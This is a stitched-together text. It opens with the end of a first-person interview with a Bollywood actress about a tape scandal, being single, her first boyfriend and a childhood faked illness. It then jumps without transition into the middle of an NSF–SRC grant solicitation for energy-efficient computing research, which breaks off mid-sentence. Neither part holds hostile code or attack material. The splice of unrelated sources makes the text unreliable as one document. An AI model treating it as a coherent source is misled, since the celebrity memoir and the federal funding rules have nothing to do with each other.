be very politically aware and very opinionated, but I don’t want to involve myself. And out of nowhere the Amar Singh tapes came when I was shooting with Ajay (Devgn), but then it disappeared for a while. And then when I was in Russia shooting for Players, it exploded. I howled in front of Abhishek (Bachchan) and Omi (Vaidya). And I’m not a girl who cries easily, I am quite thick-skinned. It was so depressing. And I heard it and I said, how can anyone say this is me? It went on and on – “Bipasha’s voice”. How could any journalist write that? They all must have heard my voice – it’s so distinct. Yet that story went on and on. It was one of the most disgusting things I have faced in my life. I just prayed. My parents were very, very supportive; that held me through.You know, when things have gone really wrong in my life, I’ve cried like a child. I have really, really cried. I cry it out. Two-three days I cry, and them I’m like, enough, time to deal with reality and figure a way out. This is the way I have dealt with everything.Some time off love is good. When I became single, someone wrote that I am putting up a front. I told him, stop putting this pathetic image of mine. Don’t feel bad for me. I don’t want anyone to sympathise with me, but they just don’t stop! This whole thing about a single girl, alone, can’t be happy, is very bizarre. Single girls get so much attention – they should be happier. When I became single, I got so much attention, that I had to say, what’s going on! These are the same people I knew earlier. Everyone wants to ask you out, it’s scary. Everyone called me a schoolgirl. Anyway, I don’t like the word. You’re born single, you die single, but why not being in a relationship is some special ‘single’ status, I don’t understand. Life is less stress being single, I have to admit. I have never been single before this – since 15, I have been in a relationship. It’s so simple.My mother fell down when I told her about my boyfriend at 15. My older sister was very chalu - she had boyfriends and she never told my mother. But when I had my first boyfriend in school, the day I accepted his proposal, I came to my mother and said, I want to marry him. This is my boyfriend, I’m gonna live and die with him. I’m that kind of a girl. I used to wear shorts, and I told mom suddenly that I’m no longer going to wear shorts, I’ll wear salwar-kameez because his parents are Marwari and they don’t like it! He’s vegetarian, so I turned vegetarian for two months. His parents met me, my parents met him, like that, all honest and open, nothing hidden. My mother’s ideal boy for me is – we make so much fun of it – Hindu, ‘good boy’, rich, tall. And I say momma, why are you biased against short people? My mother never liked any of my boyfriends. Never. Nobody deserves to be with me because I am such a good girl! Mom just hopes that now finally things will happen her way (laughs) – Christian boyfriend, Christian boyfriend, she used to go on and on!My resolution for this year was that I’m going to learn to lie. As a liar, I’m so pathetic, people can look at my face and tell. The resolution failed quite miserably. I get caught. When I was a kid, I tried to lie once, and it was a very bad lie I got into. I was getting ready for my pre-boards. I was a very good student; I used to come first in all sections. I hadn’t prepared very well for my maths exam. And I hated getting low marks – which was going to happen.So I did something to miss that exam – I fainted. And I did such a good fainting act! My mother and my uncle actually hospitalised me that night. In the hospital I began to realise that this was getting way too serious, it was beyond what I wanted – which was just a one day gap. Like a budhdhu, I kept holding the right side of my abdomen and faking pain. The doctors said, she seems to have an appendix problem, we need to operate immediately or else it might burst. I then went on and on saying my dad isn’t in town, I won’t have this done in his absence. I could not believe what was happening. But they forcefully operated on me. I’d done a fabulous fainting job, fell down some steps also, so everyone thought I was in acute pain, plus there was a little inflammation. I went through an appendicitis operation because of that lie! I couldn’t give any of the exams. I couldn’t walk for days. And I couldn’t tell anyone! I must have told my best friend, told John sometime. But my parents, I finally told them two years back. I told them the whole story, see, that’s why I don’t lie. My father said, ‘I should have known you’ll be an actress!’ Strange kid I was.He’s quite a smart bloke, my dad. The reason I have this amazing image of a man in my head is because of my dad. I ask him, who asked you to be like this? All your three daughters would want a man like you and they don't make them like |
email: [email protected] Jonathan Candelaria, Program Director, Semiconductor Research Corporation, telephone: (919) 941-9482, email: [email protected] Applicable Catalog of Federal Domestic Assistance (CFDA) Number(s): 47.041 --- Engineering
47.070 --- Computer and Information Science and Engineering Award Information Anticipated Type of Award: Standard Grant or Continuing Grant Estimated Number of Awards: 4 to 8 Each project will be jointly funded by NSF and the SRC through separate NSF and SRC funding instruments. For each project, NSF support will be provided via an NSF grant and SRC support will be provided via an SRC contract or grant. Approximately 2 to 4 multidisciplinary collaborative (Type I) awards and 2 to 4 individual or small (Type II) awards will be made, subject to the availability of funds and quality of proposals. Anticipated Funding Amount: $4,000,000 The total amount of funds anticipated for this solicitation is up to $4,000,000 per year subject to the availability of funds. It is anticipated that approximately 2-4 multidisciplinary collaborative (Type I) projects, each ranging from $800,000 to $1,600,000 per year for three 3 years, and 2-4 individual or small (Type II) projects, each ranging from $100,000 to $200,000 per year for 1 to 3 years, will be supported. Eligibility Information Who May Submit Proposals: Proposals may only be submitted by the following: Universities and Colleges - Universities and two- and four-year colleges (including community colleges) accredited in, and having a campus located in, the US acting on behalf of their faculty members. Such organizations also are referred to as academic institutions. Who May Serve as PI: There are no restrictions or limits. Limit on Number of Proposals per Organization: There are no restrictions or limits. Limit on Number of Proposals per PI or Co-PI: 1 An investigator may participate as PI or co-PI on no more than one proposal submitted in response to this solicitation. In the event that an individual exceeds this limit, proposals will be accepted based on earliest date and time of proposal submission, i.e., the first proposal received will be accepted and the remainder will be returned without review. No exceptions will be made. Proposals submitted in response to this solicitation may not duplicate or be substantially similar to other proposals concurrently under consideration by NSF. Proposal Preparation and Submission Instructions A. Proposal Preparation Instructions Letters of Intent: Not required Preliminary Proposal Submission: Not required Full Proposals: Full Proposals submitted via FastLane: NSF Proposal and Award Policies and Procedures Guide, Part I: Grant Proposal Guide (GPG) Guidelines apply. The complete text of the GPG is available electronically on the NSF website at: https://www.nsf.gov/publications/pub_summ.jsp?ods_key=gpg. Full Proposals submitted via Grants.gov: NSF Grants.gov Application Guide: A Guide for the Preparation and Submission of NSF Applications via Grants.gov Guidelines apply (Note: The NSF Grants.gov Application Guide is available on the Grants.gov website and on the NSF website at: https://www.nsf.gov/publications/pub_summ.jsp?ods_key=grantsgovguide)
B. Budgetary Information Cost Sharing Requirements: Inclusion of voluntary committed cost sharing is prohibited. Indirect Cost (F&A) Limitations: Not Applicable Other Budgetary Limitations: Other budgetary limitations apply. Please see the full text of this solicitation for further information. C. Due Dates Full Proposal Deadline(s) (due by 5 p.m. submitter's local time): March 28, 2016 Proposal Review Information Criteria Merit Review Criteria: National Science Board approved criteria apply. Award Administration Information Award Conditions: Additional award conditions apply. Please see the full text of this solicitation for further information. Reporting Requirements: Additional reporting requirements apply. Please see the full text of this solicitation for further information. TABLE OF CONTENTS Summary of Program Requirements Introduction
Program Description
Award Information
Eligibility Information
Proposal Preparation and Submission Instructions Proposal Preparation Instructions Budgetary Information Due Dates FastLane/Grants.gov Requirements
NSF Proposal Processing and Review Procedures Merit Review Principles and Criteria Review and Selection Process
Award Administration Information Notification of the Award Award Conditions Reporting Requirements
Agency Contacts
Other Information I. INTRODUCTION The National Science Foundation (NSF), through its Division of Computing and Communication Foundations (CCF) within the Directorate for Computer and Information Science and Engineering (CISE) and Division of Electrical, Communications and Cyber Systems (ECCS) within the Directorate for Engineering has established a partnership with the Semiconductor Research Corporation (SRC), through its Global Research Collaboration (GRC) and Nanoelectronics Research Initiative (NRI) programs, to jointly support innovative research activities focused on exploring and dramatically extending the limits of computational energy efficiency for a broad range of applications. The jointly supported research effort aligns with interagency initiatives and priorities, including the National Strategic Computing Initiative and the nanotechnology-inspired Grand Challenge for Future Computing. There is a consensus across the vast ecosystem touched by our ubiquitous computing infrastructure that performance improvements across most all application spaces are now severely limited by the energy dissipation involved in processing, storing, and moving data. While the tradeoffs between system performance and energy dissipation vary across the range of application platforms, nearly all applications are constrained by physical and associated economic limits to acceptable energy dissipation. Evolutionary approaches to address this challenge are becoming increasingly ineffective. In addition, the exponential increase in the volume of data to be handled by our computational infrastructure is driven in large part by unstructured data from nearly countless sources. Conventional computing architectures and programming platforms are unable to deal effectively or efficiently with this volume or with the requirement to transform such data into actionable information. These challenges have never been as complex or as critically important as they are now. The urgency of solving them to create a new computing paradigm will require pervasive and direct collaboration and organization of the research to drive operational efficiency and maximize the chance for success. A truly holistic and collaborative approach must be adopted and supported by researchers in order to maximize the potential for successfully identifying and implementing comprehensive solutions. Collaborative, multi-disciplinary proposals that address one or both of the following research paths are solicited: (1) disruptive system architectures, circuit microarchitectures, and attendant device and interconnect technology aimed at achieving the highest level of computational energy efficiency for general purpose computing systems; and (2) revolutionary device concepts and associated circuits and architectures that will greatly extend the practical engineering limits of energy-efficient computation. Further details on these research thrusts are described in the Program Description section of this solicitation. All proposals should aim for scalability sufficient to address application platforms from mobile devices to data centers, as well as extensible solutions that will sustain the long-term vitality of the information technology ecosystem. II. PROGRAM DESCRIPTION Multi-disciplinary and directly collaborative proposals are solicited for foundational and transformative research in devices, circuit microarchitectures, and system architectures. Proposers should strive to identify comprehensive approaches to greatly reduce the energy dissipation in future data-intensive computing systems while also enhancing system performance. While a comprehensive solution to this problem will ultimately require co-optimization with application software, this solicitation is focused on exploration and demonstration of the necessary materials, devices, and circuit and system hardware architectures, and not on the accompanying software architectures. Within this intellectual framework, submitted proposals should address one or both of the following research paths and should comprehensively address the most aggressive goals within the chosen approach. While, as just mentioned, the main goal of this program is to support multidisciplinary collaborative team efforts (Type I proposals) involving one or both of the following two categories, a few smaller and more focused small efforts (Type II proposals) within the general context of the research areas described here may be entertained as well. Disruptive system architectures, circuit microarchitectures, and attendant device and interconnect technology aimed at achieving the highest level of computational energy efficiency for general purpose computing systems Collaborative and cross-disciplinary proposals for creating revolutionary system architectures and circuit microarchitectures that will overcome the energy and delay barriers associated with the movement of data in conventional interconnect technologies, and will also drive a new scalable and sustainable computational paradigm, are sought within the scope of this program. The proposals must target at least a 100X reduction or more in energy per delivered operation as compared to projected high-performance computing (HPC) systems utilizing conventional CMOS architectures and deeply scaled technology at the end of the roadmap. As just one example of a metric goal, demonstrations that achieve system-level performance of > 1 Giga-MAC/s/nW could be targeted (MAC = multiply and accumulate operations). Proposals that utilize alternative connectivity technologies such as plasmonic, photonic, terahertz or any others that can enable a dramatic lowering of overall system energy dissipation are also of interest. Interconnect technologies that enable functionality (such as embedded ‘intelligent’ routing, etc.) beyond point-to-point connectivity and the architectures that implement them are also within the scope of interest. In addition, proposals are strongly encouraged to include an approach for merging heuristic learning and predictive functionality on the same physical platform as a programmable algorithmic capability. Metrics should also be suggested to measure progress in both the heuristic portion of the common platform (e.g., ‘energy-to-solution’, etc.), as well as, the energy efficiency and performance of the programmable portions. Proposed research examples may include non-digital or hybrid digital-analog architectures: non-Boolean, brain-inspired architectures including reservoir computing and other neuro-inspired approaches: stochastic, approximate, memory-centric or merged logic-memory: or other such fundamentally novel, heterogeneous architectures aimed at achieving the minimum levels of energy-per-delivered programmable operation while at the same time augmenting the overall system performance with learning and predictive capabilities. Novel designs that can physically demonstrate and verify any predicted performance within the scope of the proposed research proposal are strongly preferred. “Sprinting” architectures allow portions of a system to briefly exceed time-averaged power dissipation limits, in order to accelerate operations that are critical to overall system performance. Proposals for novel sprinting architectures, offering dramatic improvements in power-performance trade-off, are also encouraged. Some specific (but non-exhaustive) examples of research topics not sought in this program include incremental research in any of these areas: Evolutionary extensions of existing general purpose computing platform architectures;
Systems that preclude substantially expanding the functionality and performance capabilities of general purpose computing, even if they are also aimed at significantly improving the overall level of energy efficiency;
System architectures that cannot be demonstrated to economically support the levels of reliability and physical dimension requirements projected for the future applications being targeted; and
System architectures that are not sufficiently scalable to support a broad base of applications, i.e., those that do not enable a common, fundamental platform sufficiently capable of addressing applications from high-performance mobile devices to data centers. Revolutionary device concepts and associated circuits and architectures that will greatly extend the practical engineering limits of energy-efficient computation Proposals for the demonstration of new device concepts with the potential to reduce the energy dissipation involved in processing, storing, and moving information by two or more orders of magnitude are sought. Proposals should address interdisciplinary research issues essential to the demonstration of the device concept – from optimization of material properties to development of appropriate circuits and architectures. Any new switch is likely to have characteristics very different from those of a conventional field effect transistor. The interplay between device characteristics and optimum circuit architectures therefore means that circuit architectures must be reconsidered – this includes digital circuits, but also analog, memory, communication, and/or other more specialized functions. Devices combining digital/analog/memory functions may lend themselves particularly well to unconventional information processing architectures. Proposed architectures should enable a broad range of useful functions, rather than being dedicated to one function or a few particular functions. New physical mechanisms for digital switching are of interest, and many dynamical systems may deserve exploration. For example, the gating of phase transitions is a potential route to “steep slope” devices that operate at very low voltage. Relevant phase transitions might include metal-insulator transitions, formation of excitonic or other electronic condensates, and various transitions involving structural degrees of freedom. Other promising mechanisms for low-power switching may involve transduction. Magnetoelectric devices, in which an external voltage state is transduced to an internal magnetic state, exemplify this concept. However, transduction need not be limited to magnetoelectric systems. In addition to energy efficiency, switching speed is an important criterion in choice of materials and device concepts. For example, most nanomagnetic devices switch by magnetic precession, a process that is rather slow in the ferromagnetic systems explored to date. Magnetic precession switching in antiferromagnetic or ferrimagnetic materials could be one or more orders of magnitude faster. Other novel physical systems could be faster still. For example, electronic collective states could, in principle, be switched on sub-picosecond time scales. More generally, devices based on computational state variables beyond magnetism and charge (or voltage) could open many new possibilities. Another relatively unexplored path to improved energy efficiency is the implementation of adiabatically-switched devices in energy-conserving circuits. In such circuits, the phase of an oscillation or propagating wave may represent digital state; devices and interconnections must together constitute circuits that are non-dissipative. Nanophotonic, plasmonic, spinwave or other lightly-damped oscillatory systems might be well-suited for such an approach. Proposals along these lines should strive to address the necessary components of a practical engineering solution, including mechanisms for correction of unavoidable phase and amplitude errors. Networks of coupled non-linear oscillators have also been explored for non-Boolean computation in applications such as pattern recognition. Potential technological approaches include but are not limited to nanoelectromechanical, nanophotonic, nanoplasmonic, and nanomagnetic oscillators. Proposals along these lines should strive to address the necessary components of a practical engineering solution, including devices, circuits, and architectures that allow reliable operation in the presence of device variability and environmental fluctuations. While appropriate circuits and higher-level architectures should be explored and co-developed along with any new device concept, certain novel device concepts may demand greater emphasis on higher-level architecture. For example, hysteretic devices, combining the functions of non-volatile logic and memory, might enhance the performance of established architectures (power gating in microprocessors, reconfiguration of logic in field programmable gate arrays), but perhaps more importantly, they might play an enabling role in novel architectures (compute in memory, weighting of connections in neuromorphic systems, and more). As a second example, there has been great progress in recent years in the miniaturization and energy efficiency of linear and non-linear photonic devices. It is possible that these advances will have their greatest impact not in the ongoing replacement of metal wires by optical connections, but rather in enabling new architectures for computing. Computation “in the network” is one possible direction. In general, device characteristics and architecture appear to be highly entwined in oscillatory (approximately energy-conserving) systems. Key device characteristics may be inseparable from the coupling (connections) between devices. For non-Boolean computation, optimum architectures and the range of useful algorithms will depend on these characteristics. In addition to the examples above, proposers are encouraged to champion other areas of architectural research that could leverage emerging device concepts to obtain order of magnitude improvements in the energy efficiency of computing. Research topics might include architectures for heterogeneous systems, architectures that minimize data movement, neuromorphic architectures, and new approaches to stochastic computing and approximate computing. Some specific (but non-exhaustive) examples of research topics not sought in this program include research in any of these areas: Materials or device concepts that incrementally extend the capabilities of commercially established devices for logic and memory;
CMOS-based approaches to energy-conserving circuits and architectures;
Device concepts already the focus of research within established projects and centers, unless the proposed research is a substantive step beyond the currently-funded research;
Highly-specialized circuit architectures (“accelerators”) suited to a particular function or a limited set of functions, unless these circuits can be envisioned as economically integrated in a hybrid system capable of more generalized functions; and
Devices and architectures for quantum computing - although proposals that explore the semi-classical regime (perhaps instantiating state variables with small ensembles of quantum states) or proposals that embrace some attributes of quantum computing achievable in the classical limit (such as energy-conserving circuits) are welcome. III. AWARD INFORMATION Anticipated Type of Award: Continuing Grant or Standard Grant Estimated Number of Awards: 4 to 8 Each project will be jointly funded by NSF and the SRC through separate NSF and SRC funding instruments. For each project, NSF support will be provided via an NSF grant and SRC support will be provided via an SRC contract or grant. Approximately 2 to 4 multidisciplinary collaborative (Type I) awards and 2 to 4 individual or small (Type II) awards will be made, subject to the availability of funds and quality of proposals. Anticipated Funding Amount: $4,000,000 The total amount of funds anticipated for this solicitation is up to $4,000,000 per year subject to the availability of funds. It is anticipated that approximately 2-4 multidisciplinary collaborative (Type I) projects, each ranging from $800,000 to $1,600,000 per year for three 3 years, and 2-4 individual or small (Type II) projects, each ranging from $100,000 to $200,000 per year for 1 to 3 years, will be supported. Estimated program budget, number of awards and average award size/duration are subject to the availability of funds. IV. ELIGIBILITY INFORMATION Who May Submit Proposals: Proposals may only be submitted by the following: Universities and Colleges - Universities and two- and four-year colleges (including community colleges) accredited in, and having a campus located in, the US acting on behalf of their faculty members. Such organizations also are referred to as academic institutions. Who May Serve as PI: There are no restrictions or limits. Limit on Number of Proposals per Organization: There are no restrictions or limits. Limit on Number of Proposals per PI or Co-PI: 1 An investigator may participate as PI or co-PI on no more than one proposal submitted in response to this solicitation. In the event that an individual exceeds this limit, proposals will be accepted based on earliest date and time of proposal submission, i.e., the first proposal received will be accepted and the remainder will be returned without review. No exceptions will be made. Proposals submitted in response to this solicitation may not duplicate or be substantially similar to other proposals concurrently under consideration by NSF. V. PROPOSAL PREPARATION AND SUBMISSION INSTRUCTIONS A. Proposal Preparation Instructions Full Proposal Preparation Instructions: Proposers may opt to submit proposals in response to this Program Solicitation via Grants.gov or via the NSF FastLane system. Full proposals submitted via FastLane: Proposals submitted in response to this program solicitation should be prepared and submitted in accordance with the general guidelines contained in the NSF Grant Proposal Guide (GPG). The complete text of the GPG is available electronically on the NSF website at: https://www.nsf.gov/publications/pub_summ.jsp?ods_key=gpg. Paper copies of the GPG may be obtained from the NSF Publications Clearinghouse, telephone (703) 292-7827 or by e-mail from [email protected]. Proposers are reminded to identify this program solicitation number in the program solicitation block on the NSF Cover Sheet For Proposal to the National Science Foundation. Compliance with this requirement is critical to determining the relevant proposal processing guidelines. Failure to submit this information may delay processing. Full proposals submitted via Grants.gov: Proposals submitted in response to this program solicitation via Grants.gov should be prepared and submitted in accordance with the NSF Grants.gov Application Guide: A Guide for the Preparation and Submission of NSF Applications via Grants.gov. The complete text of the NSF Grants.gov Application Guide is available on the Grants.gov website and on the NSF website at: (https://www.nsf.gov/publications/pub_summ.jsp?ods_key=grantsgovguide). To obtain copies of the Application Guide and Application Forms Package, click on the Apply tab on the Grants.gov site, then click on the Apply Step 1: Download a Grant Application Package and Application Instructions link and enter the funding opportunity number, (the program solicitation number without the NSF prefix) and press the Download Package button. Paper copies of the Grants.gov Application Guide also may be obtained from the NSF Publications Clearinghouse, telephone (703) 292-7827 or by e-mail from [email protected]. In determining which method to utilize in the electronic preparation and submission of the proposal, please note the following: Collaborative Proposals. All collaborative proposals submitted as separate submissions from multiple organizations must be submitted via the NSF FastLane system. Chapter II, Section D.5 of the Grant Proposal Guide provides additional information on collaborative proposals. See Chapter II.C.2 of the GPG for guidance on the required sections of a full research proposal submitted to NSF. Please note that the proposal preparation instructions provided in this program solicitation may deviate from the GPG instructions. Proposal titles must start with E2CDA followed by a colon, then specify the class (Type I or Type II) followed by a colon, and then provide the title of the project. That is, the title for a Type 1 proposal may take the form E2CDA: Type I: Title. For a collaborative proposal (that is, one submitted as separate submissions from multiple organizations), all participating institutions should use the same title, which should also include the phrase Collaborative Research followed by a colon, e.g., E2CDA: Type II: Collaborative Research: Title. Budget: Grantees of this program receiving funds from the SRC will be expected to attend, and shall budget for, annual SRC grantee review meetings for the purpose of sharing research progress with SRC member company representatives as well as other interested individuals. Supplementary Documents: Statement of Consent: In order to be considered for funding through this program, each proposal must include a statement of consent from the proposing institution(s) that indicates that NSF may share with SRC the proposal, reviews generated for the proposal, and any related information. This statement of consent must be uploaded into the Supplementary Documents section in FastLane or Grants.gov. Proposals that do not contain this statement will be returned without review. Disclosure of Blocking Background IP: All proposals must include a statement disclosing any background intellectual property (IP) known to the proposer that is expected to block the freedom to practice the results of the proposed research. Whereas SRC is entitled to a royalty-free, non-exclusive license only to practice any IP that directly results from activities funded by NSF/SRC joint funding, SRC must resolve issues regarding blocking IP prior to awarding an SRC contract. For example, SRC may negotiate a license to blocking IP. NSF funding will not be contingent upon resolution of any blocking IP, and funding by SRC or NSF will not create an obligation for the other organization to provide funds. Industry Involvement: For proposals involving academic institutions and industry, proposers should include a letter from the industrial partner(s) that confirm(s) the participation of one or more co-PIs from industry. This letter, uploaded in the Supplementary Documents section in FastLane or Grants.gov, should describe a plan for interaction between the industrial and academic partners, the time commitment of the industrial researcher(s), and the nature of the work. B. Budgetary Information Cost Sharing: Inclusion of voluntary committed cost sharing is prohibited. Other Budgetary Limitations: Researchers from foreign academic institutions who contribute essential expertise to the project may participate as co-PIs or senior personnel but may not request NSF or SRC support. Given that no person months and no salary are being requested for such individuals, they must be removed from section A of the budget. This can be done by clicking on the name(s) in the NSF budget format and then clicking "Check to remove". Their name(s) will remain on the Cover Sheet and the individual(s) role on the project should be described in the Facilities, Equipment and Other Resources section of the proposal. Synergistic collaborations or partnerships with industry or government are allowed when appropriate, though no NSF or SRC funds will be provided to these organizations. Budget Preparation Instructions: Proposals submitted to NSF via FastLane or Grants.gov should contain budget information for the entire project in the standard NSF format. PIs of proposals recommended for award will be requested to submit a revised budget to NSF and SRC, as appropriate. For those proposals recommended for joint funding by NSF and SRC, the revised budget submitted to NSF will include the NSF portion of the budget in the standard NSF format, a copy of the budget being submitted separately to SRC, and a detailed breakdown of the activities being funded by NSF and SRC. C. Due Dates Full Proposal Deadline(s) (due by 5 p.m. submitter's local time): March 28, 2016 D. FastLane/Grants.gov Requirements For Proposals Submitted Via FastLane: To prepare and submit a proposal via FastLane, see detailed technical instructions available at: https://www.fastlane.nsf.gov/a1/newstan.htm. For FastLane user support, call the FastLane Help Desk at 1-800-673-6188 or e-mail [email protected]. The FastLane Help Desk answers general technical questions related to the use of the FastLane system. Specific questions related to this program solicitation should be referred to the NSF program staff contact(s) listed in Section VIII of this funding opportunity. For Proposals Submitted Via Grants.gov: Before using Grants.gov for the first time, each organization must register to create an institutional profile. Once registered, the applicant's organization can then apply for any federal grant on the Grants.gov website. Comprehensive information about using Grants.gov is available on the Grants.gov Applicant Resources webpage: http://www.grants.gov/web/grants/applicants.html. In addition, the NSF Grants.gov Application Guide (see link in Section V.A) provides instructions regarding the technical preparation of proposals via Grants.gov. For Grants.gov user support, contact the Grants.gov Contact Center at 1-800-518-4726 or by email: [email protected]. The Grants.gov Contact Center answers general technical questions related to the use of Grants.gov. Specific questions related to this program solicitation should be referred to the NSF program staff contact(s) listed in Section VIII of this solicitation. Submitting the Proposal: Once all documents have been completed, the Authorized Organizational Representative (AOR) must submit the application to Grants.gov and verify the desired funding opportunity and agency to which the application is submitted. The AOR must then sign and submit the application to Grants.gov. The completed application will be transferred to the NSF FastLane system for further processing. Proposers that submitted via FastLane are strongly encouraged to use FastLane to verify the status of their submission to NSF. For proposers that submitted via Grants.gov, until an application has been received and validated by NSF, the Authorized Organizational Representative may check the status of an application on Grants.gov. After proposers have received an e-mail notification from NSF, Research.gov should be used to check the status of an application. VI. NSF PROPOSAL PROCESSING AND REVIEW PROCEDURES Proposals received by NSF are assigned to the appropriate NSF program for acknowledgement and, if they meet NSF requirements, for review. All proposals are carefully reviewed by a scientist, engineer, or educator serving as an NSF Program Officer, and usually by three to ten other persons outside NSF either as ad hoc reviewers, panelists, or both, who are experts in the particular fields represented by the proposal. These reviewers are selected by Program Officers charged with oversight of the review process. Proposers are invited to suggest names of persons they believe are especially well qualified to review the proposal and/or persons they would prefer not review the proposal. These suggestions may serve as one source in the reviewer selection process at the Program Officer's discretion. Submission of such names, however, is optional. Care is taken to ensure that reviewers have no conflicts of interest with the proposal. In addition, Program Officers may obtain comments from site visits before recommending final action on proposals. Senior NSF staff further review recommendations for awards. A flowchart that depicts the entire NSF proposal and award process (and associated timeline) is included in the GPG as Exhibit III-1. A comprehensive description of the Foundation's merit review process is available on the NSF website at: https://www.nsf.gov/bfa/dias/policy/merit_review/. Proposers should also be aware of core strategies that are essential to the fulfillment of NSF's mission, as articulated in Investing in Science, Engineering, and Education for the Nation's Future: NSF Strategic Plan for 2014-2018. These strategies are integrated in the program planning and implementation process, of which proposal review is one part. NSF's mission is particularly well-implemented through the integration of research and education and broadening participation in NSF programs, projects, and activities. One of the strategic objectives in support of NSF's mission is to foster integration of research and education through the programs, projects, and activities it supports at academic and research institutions. These institutions must recruit, train, and prepare a diverse STEM workforce to advance the frontiers of science and participate in the U.S. technology-based economy. NSF's contribution to the national innovation ecosystem is to provide cutting-edge research under the guidance of the Nation's most creative scientists and engineers. NSF also supports development of a strong science, technology, engineering, and mathematics (STEM) workforce by investing in building the knowledge that informs improvements in STEM teaching and learning. NSF's mission calls for the broadening of opportunities and expanding participation of groups, institutions, and geographic regions that are underrepresented in STEM disciplines, which is essential to the health and vitality of science and engineering. NSF is committed to this principle of diversity and deems it central to the programs, projects, and activities it considers and supports. A. Merit Review Principles and Criteria The National Science Foundation strives to invest in a robust and diverse portfolio of projects that creates new knowledge and enables breakthroughs in understanding across all areas of science and engineering research and education. To identify which projects to support, NSF relies on a merit review process that incorporates consideration of both the technical aspects of a proposed project and its potential to contribute more broadly to advancing NSF's mission "to promote the progress of science; to advance the national health, prosperity, and welfare; to secure the national defense; and for other purposes." NSF makes every effort to conduct a fair, competitive, transparent merit review process for the selection of projects. 1. Merit Review Principles These principles are to be given due diligence by PIs and organizations when preparing proposals and managing projects, by reviewers when reading and evaluating proposals, and by NSF program staff when determining whether or not to recommend proposals for funding and while overseeing awards. Given that NSF is the primary federal agency charged with nurturing and supporting excellence in basic research and education, the following three principles apply: All NSF projects should be of the highest quality and have the potential to advance, if not transform, the frontiers of knowledge.
NSF projects, in the aggregate, should contribute more broadly to achieving societal goals. These "Broader Impacts" may be accomplished through the research itself, through activities that are directly related to specific research projects, or through activities that are supported by, but are complementary to, the project. The project activities may be based on previously established and/or innovative methods and approaches, but in either case must be well justified.
Meaningful assessment and evaluation of NSF funded projects should be based on appropriate metrics, keeping in mind the likely correlation between the effect of broader impacts and the resources provided to implement projects. If the size of the activity is limited, evaluation of that activity in isolation is not likely to be meaningful. Thus, assessing the effectiveness of these activities may best be done at a higher, more aggregated, level than the individual project. With respect to the third principle, even if assessment of Broader Impacts outcomes for particular projects is done at an aggregated level, PIs are expected to be accountable for carrying out the activities described in the funded project. Thus, individual projects should include clearly stated goals, specific descriptions of the activities that the PI intends to do, and a plan in place to document the outputs of those activities. These three merit review principles provide the basis for the merit review criteria, as well as a context within which the users of the criteria can better understand their intent. 2. Merit Review Criteria All NSF proposals are evaluated through use of the two National Science Board approved merit review criteria. In some instances, however, NSF will employ additional criteria as required to highlight the specific objectives of certain programs and activities. The two merit review criteria are listed below. Both criteria are to be given full consideration during the review and decision-making processes; each criterion is necessary but neither, by itself, is sufficient. Therefore, proposers must fully address both criteria. (GPG Chapter II.C.2.d.i. contains additional information for use by proposers in development of the Project Description section of the proposal.) Reviewers are strongly encouraged to review the criteria, including GPG Chapter II.C.2.d.i., prior to the review of a proposal. When evaluating NSF proposals, reviewers will be asked to consider what the proposers want to do, why they want to do it, how they plan to do it, how they will know if they succeed, and what benefits could accrue if the project is successful. These issues apply both to the technical aspects of the proposal and the way in which the project may make broader contributions. To that end, reviewers will be asked to evaluate all proposals against two criteria: Intellectual Merit: The Intellectual Merit criterion encompasses the potential to advance knowledge; and
The Intellectual Merit criterion encompasses the potential to advance knowledge; and Broader Impacts: The Broader Impacts criterion encompasses the potential to benefit society and contribute to the achievement of specific, desired societal outcomes. The following elements should be considered in the review for both criteria: What is the potential for the proposed activity to Advance knowledge and understanding within its own field or across different fields (Intellectual Merit); and Benefit society or advance desired societal outcomes (Broader Impacts)? To what extent do the proposed activities suggest and explore creative, original, or potentially transformative concepts? Is the plan for carrying out the proposed activities well-reasoned, well-organized, and based on a sound rationale? Does the plan incorporate a mechanism to assess success? How well qualified is the individual, team, or organization to conduct the proposed activities? Are there adequate resources available to the PI (either at the home organization or through collaborations) to carry out the proposed activities? Broader impacts may be accomplished through the research itself, through the activities that are directly related to specific research projects, or through activities that are supported by, but are complementary to, the project. NSF values the advancement of scientific knowledge and activities that contribute to achievement of societally relevant outcomes. Such outcomes include, but are not limited to: full participation of women, persons with disabilities, and underrepresented minorities in science, technology, engineering, and mathematics (STEM); improved STEM education and educator development at any level; increased public scientific literacy and public engagement with science and technology; improved well-being of individuals in society; development of a diverse, globally competitive STEM workforce; increased partnerships between academia, industry, and others; improved national security; increased economic competitiveness of the United States; and enhanced infrastructure for research and education. Proposers are reminded that reviewers will also be asked to review the Data Management Plan and the Postdoctoral Researcher Mentoring Plan, as appropriate. B. Review and Selection Process Proposals submitted in response to this program solicitation will be reviewed by Panel Review. Reviewers will be asked to evaluate proposals using two National Science Board approved merit review criteria and, if applicable, additional program specific criteria. A summary rating and accompanying narrative will be completed and submitted by each reviewer. The Program Officer assigned to manage the proposal's review will consider the advice of reviewers and will formulate a recommendation. NSF will manage and conduct the review process of proposals submitted in accordance with NSF standards and procedures. The review and award recommendations will be coordinated by a Joint Working Group (JWG) of program officers from both NSF and SRC. Relevant information about proposals and reviews of proposals will be shared between NSF and the SRC program officers as appropriate. The JWG will recommend meritorious proposals for award at appropriate funding levels. After scientific, technical and programmatic review and consideration of appropriate factors, the NSF Program Officer recommends to the cognizant Division Director whether the proposal should be declined or recommended for award. NSF strives to be able to tell applicants whether their proposals have been declined or recommended for funding within six months. Large or particularly complex proposals or proposals from new awardees may require additional review and processing time. The time interval begins on the deadline or target date, or receipt date, whichever is later. The interval ends when the Division Director acts upon the Program Officer's recommendation. After programmatic approval has been obtained, the proposals recommended for funding will be forwarded to the Division of Grants and Agreements for review of business, financial, and policy implications. After an administrative review has occurred, Grants and Agreements Officers perform the processing and issuance of a grant or other agreement. Proposers are cautioned that only a Grants and Agreements Officer may make commitments, obligations or awards on behalf of NSF or authorize the expenditure of funds. No commitment on the part of NSF should be inferred from technical or budgetary discussions with a NSF Program Officer. A Principal Investigator or organization that makes financial or personnel commitments in the absence of a grant or cooperative agreement signed by the NSF Grants and Agreements Officer does so at their own risk. Once an award or declination decision has been made, Principal Investigators are provided feedback about their proposals. In all cases, reviews are treated as confidential documents. Verbatim copies of reviews, excluding the names of the reviewers or any reviewer-identifying information, are sent to the Principal Investigator/Project Director by the Program Officer. In addition, the proposer will receive an explanation of the decision to award or decline funding. VII. AWARD ADMINISTRATION INFORMATION A. Notification of the Award Notification of the award is made to the submitting organization by a Grants Officer in the Division of Grants and Agreements. Organizations whose proposals 